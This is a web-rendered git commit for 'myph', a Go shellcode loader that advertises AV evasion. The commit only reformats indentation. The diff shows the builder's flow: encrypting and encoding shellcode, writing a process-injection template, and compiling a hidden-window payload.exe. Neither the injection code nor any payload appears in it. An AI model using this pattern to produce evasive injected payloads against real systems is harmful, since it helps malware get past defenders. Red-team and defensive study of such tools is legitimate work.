myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit 94a5880f197b0b98edffb1e85efc476476678b97
parent c30f979f60335fc9918969258af8dbdfd9ab49f3
Author: winds0r <[email protected]>
Date: Fri, 21 Jul 2023 00:15:38 +0900

fix(meta): formatting

Diffstat:
Mcli/parser.go | 33++++++++++++++++-----------------
Mtools/encodings.go | 2+-
Mtools/utils.go | 15+++++++--------

3 files changed, 24 insertions(+), 26 deletions(-)

diff --git a/cli/parser.go b/cli/parser.go
@@ -36,7 +36,6 @@ const ASCII_ART = `
 
     `
 
-
 func GetParser(opts *Options) *cobra.Command {
 
 	version := "2.0.0"
@@ -48,8 +47,8 @@ func GetParser(opts *Options) *cobra.Command {
 		Long:               ASCII_ART,
 		Run: func(cmd *cobra.Command, args []string) {
 
-            /* obligatory skid ascii art */
-            fmt.Printf("%s\n\n", ASCII_ART)
+			/* obligatory skid ascii art */
+			fmt.Printf("%s\n\n", ASCII_ART)
 
 			/* later, we will call "go build" on a golang project, so we need to set up the project tree */
 			err := tools.CreateTmpProjectRoot(opts.Outdir)
@@ -70,12 +69,12 @@ func GetParser(opts *Options) *cobra.Command {
 				opts.Key = tools.RandomString(32)
 			}
 
-            fmt.Printf("[+] Selected algorithm: %s (Key: %s)\n", opts.Encryption.String(), opts.Key)
+			fmt.Printf("[+] Selected algorithm: %s (Key: %s)\n", opts.Encryption.String(), opts.Key)
 
 			/* encoding defines the way the series of bytes will be written into the template */
 			encType := tools.SelectRandomEncodingType()
 
-            fmt.Printf("\tEncoding into template with [%s]\n", encType.String())
+			fmt.Printf("\tEncoding into template with [%s]\n", encType.String())
 
 			/*
 			   depending on encryption type, we do the following:
@@ -123,14 +122,14 @@ func GetParser(opts *Options) *cobra.Command {
 
 			/* TODO: add support for more exec templates */
 			err = tools.WriteToFile(opts.Outdir, "exec.go", loaders.GetCRTTemplate(opts.Target))
-            if err != nil {
+			if err != nil {
 				panic(err)
 			}
 
 			os.Setenv("GOOS", opts.OS)
 			os.Setenv("GOARCH", opts.arch)
 
-            fmt.Printf("\n[+] Template (CRT) written to tmp directory. Compiling...\n")
+			fmt.Printf("\n[+] Template (CRT) written to tmp directory. Compiling...\n")
 
 			execCmd := exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".")
 			execCmd.Dir = opts.Outdir
@@ -138,18 +137,18 @@ func GetParser(opts *Options) *cobra.Command {
 			_, stderr := execCmd.Output()
 
 			if stderr != nil {
-                fmt.Printf("[!] error compiling shellcode: %s\n", stderr.Error())
-                fmt.Printf(
-                    "\nYou may try to run the following command in %s to find out what happend: %s\n\n",
-                    opts.Outdir,
-                    "go build -ldflags \"-s -w -H=windowsgui\" -o payload.exe",
-                )
-
-                fmt.Println("If you want to submit a bug report, please add the output from this command...Thank you <3")
+				fmt.Printf("[!] error compiling shellcode: %s\n", stderr.Error())
+				fmt.Printf(
+					"\nYou may try to run the following command in %s to find out what happend: %s\n\n",
+					opts.Outdir,
+					"go build -ldflags \"-s -w -H=windowsgui\" -o payload.exe",
+				)
+
+				fmt.Println("If you want to submit a bug report, please add the output from this command...Thank you <3")
 				os.Exit(1)
 			}
 
-            println("[+] Done! You may find your payload in the out-directory...")
+			println("[+] Done! You may find your payload in the out-directory...")
 		},
 	}
 
@@ -157,7 +156,7 @@ func GetParser(opts *Options) *cobra.Command {
 
 	cmd.PersistentFlags().StringVarP(&opts.Outdir, "outdir", "f", defaults.Outdir, "output directory")
 	cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
-    cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
+	cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
 
 	cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target")
 	cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")
diff --git a/tools/encodings.go b/tools/encodings.go
@@ -17,7 +17,7 @@ type BytesEncodingType string
 const (
 	EncodingBase64 BytesEncodingType = "base64"
 	EncodingBase32 BytesEncodingType = "base32"
-    EncodingHex    BytesEncodingType = "hex"
+	EncodingHex    BytesEncodingType = "hex"
 )
 
 // / Available encodings type
diff --git a/tools/utils.go b/tools/utils.go
@@ -57,7 +57,7 @@ func DirExists(dir string) (bool, error) {
 
 func CreateTmpProjectRoot(path string) error {
 
-    fmt.Printf("[+] Initializing temporary build directory\n")
+	fmt.Printf("[+] Initializing temporary build directory\n")
 
 	/*
 	   create a directory with the path name
@@ -70,7 +70,7 @@ func CreateTmpProjectRoot(path string) error {
 	}
 
 	if exists {
-        fmt.Printf("[!] %s already exists...Removing\n", path)
+		fmt.Printf("[!] %s already exists...Removing\n", path)
 		os.RemoveAll(path)
 	}
 
@@ -90,7 +90,6 @@ go 1.20
 	fo, err := os.Create(gomod_path)
 	fo.Write(go_mod)
 
-
 	maingo_path := fmt.Sprintf("%s/main.go", path)
 	_, _ = os.Create(maingo_path)
 
@@ -106,11 +105,11 @@ go 1.20
 
 func GetMainTemplate(encoding string, key string, sc string) string {
 
-    /* if hex encoding is used, it does not require to go through StdEncoding */
-    encCall := "enc.StdEncoding"
-    if encoding == "hex" {
-        encCall = "enc"
-    }
+	/* if hex encoding is used, it does not require to go through StdEncoding */
+	encCall := "enc.StdEncoding"
+	if encoding == "hex" {
+		encCall = "enc"
+	}
 
 	return fmt.Sprintf(`
 package main